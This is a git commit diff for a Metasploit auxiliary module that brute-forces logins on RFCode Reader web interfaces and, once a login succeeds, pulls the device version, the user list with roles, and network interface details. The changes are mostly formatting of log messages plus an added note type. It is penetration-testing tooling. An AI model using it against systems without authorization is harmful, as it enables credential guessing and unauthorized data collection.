added note :type - Info. This is mandatory field for report_note. also, vprint statements seem to be adding an extra space with a hyphen. kinda make print dis-aligned than other regular print_* statements. changed -> to -, removed ' from '#{user/pass}'. works fine. msftidy check. module load check. pcap taken.

unstable
KarnGaneshen 2013-06-13 14:03:55 +05:30
parent 871f1b7c1f
commit 6188df1b3a
1 changed files with 21 additions and 18 deletions

View File

@ -47,13 +47,13 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
unless is_app_rfreader?
print_error("#{rhost}:#{rport} -> Application does not appear to be RFCode Reader. Module will not continue.")
print_error("#{rhost}:#{rport} - Application does not appear to be RFCode Reader. Module will not continue.")
return
end
print_status("#{rhost}:#{rport} -> Checking if authentication is required...")
print_status("#{rhost}:#{rport} - Checking if authentication is required...")
unless is_auth_required?
print_warning("#{rhost}:#{rport} -> Application does not require authentication.")
print_warning("#{rhost}:#{rport} - Application does not require authentication.")
user = ''
pass = ''
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
return
end
print_status("#{rhost}:#{rport} -> Brute-forcing...")
print_status("#{rhost}:#{rport} - Brute-forcing...")
each_user_pass do |user, pass|
do_login(user, pass)
end
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
#
def do_login(user, pass)
vprint_status("#{rhost}:#{rport} -> Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
@ -124,10 +124,10 @@ class Metasploit3 < Msf::Auxiliary
})
if not res or res.code == 401
vprint_error("#{rhost}:#{rport} -> FAILED LOGIN - '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
return :skip_pass
else
print_good("#{rhost}:#{rport} -> SUCCESSFUL LOGIN - '#{user.inspect}' : '#{pass.inspect}'")
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
collect_info(user, pass)
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Auxiliary
return :next_user
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{rhost}:#{rport} -> HTTP Connection Failed, Aborting")
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
return :abort
end
end
@ -154,7 +154,7 @@ class Metasploit3 < Msf::Auxiliary
#
def collect_info(user, pass)
vprint_status("#{rhost}:#{rport} -> Collecting information from app as '#{user.inspect}':'#{pass.inspect}'...")
vprint_status("#{rhost}:#{rport} - Collecting information from app as #{user.inspect}:#{pass.inspect}...")
begin
res = send_request_cgi(
@ -171,15 +171,16 @@ class Metasploit3 < Msf::Auxiliary
release_ver = JSON.parse(res.body)["release"]
product_name = JSON.parse(res.body)["product"]
vprint_status("#{rhost}:#{rport} -> Collecting device platform info...")
print_good("#{rhost}:#{rport} -> Release version: '#{release_ver}', Product Name: '#{product_name}'")
vprint_status("#{rhost}:#{rport} - Collecting device platform info...")
print_good("#{rhost}:#{rport} - Release version: '#{release_ver}', Product Name: '#{product_name}'")
report_note(
:host => rhost,
:proto => 'tcp',
:port => rport,
:sname => "RFCode Reader",
:data => 'Release Version: #{release_ver}, Product: #{product_name}'
:data => 'Release Version: #{release_ver}, Product: #{product_name}',
:type => 'Info'
)
res = send_request_cgi(
@ -194,15 +195,16 @@ class Metasploit3 < Msf::Auxiliary
})
userlist = JSON.parse(res.body)
vprint_status("#{rhost}:#{rport} -> Collecting user list...")
print_good("#{rhost}:#{rport} -> User list & role: #{userlist}")
vprint_status("#{rhost}:#{rport} - Collecting user list...")
print_good("#{rhost}:#{rport} - User list & role: #{userlist}")
report_note(
:host => rhost,
:proto => 'tcp',
:port => rport,
:sname => "RFCode Reader",
:data => 'User List & Roles: #{userlist}'
:data => 'User List & Roles: #{userlist}',
:type => 'Info'
)
@ -218,15 +220,16 @@ class Metasploit3 < Msf::Auxiliary
})
eth0_info = JSON.parse(res.body)["eth0"]
vprint_status("#{rhost}:#{rport} -> Collecting interface info...")
print_good("#{rhost}:#{rport} -> Interface eth0 info: #{eth0_info}")
vprint_status("#{rhost}:#{rport} - Collecting interface info...")
print_good("#{rhost}:#{rport} - Interface eth0 info: #{eth0_info}")
report_note(
:host => rhost,
:proto => 'tcp',
:port => rport,
:sname => "RFCode Reader",
:data => 'Interface eth0: #{eth0_info}'
:data => 'Interface eth0: #{eth0_info}',
:type => 'Info'
)
return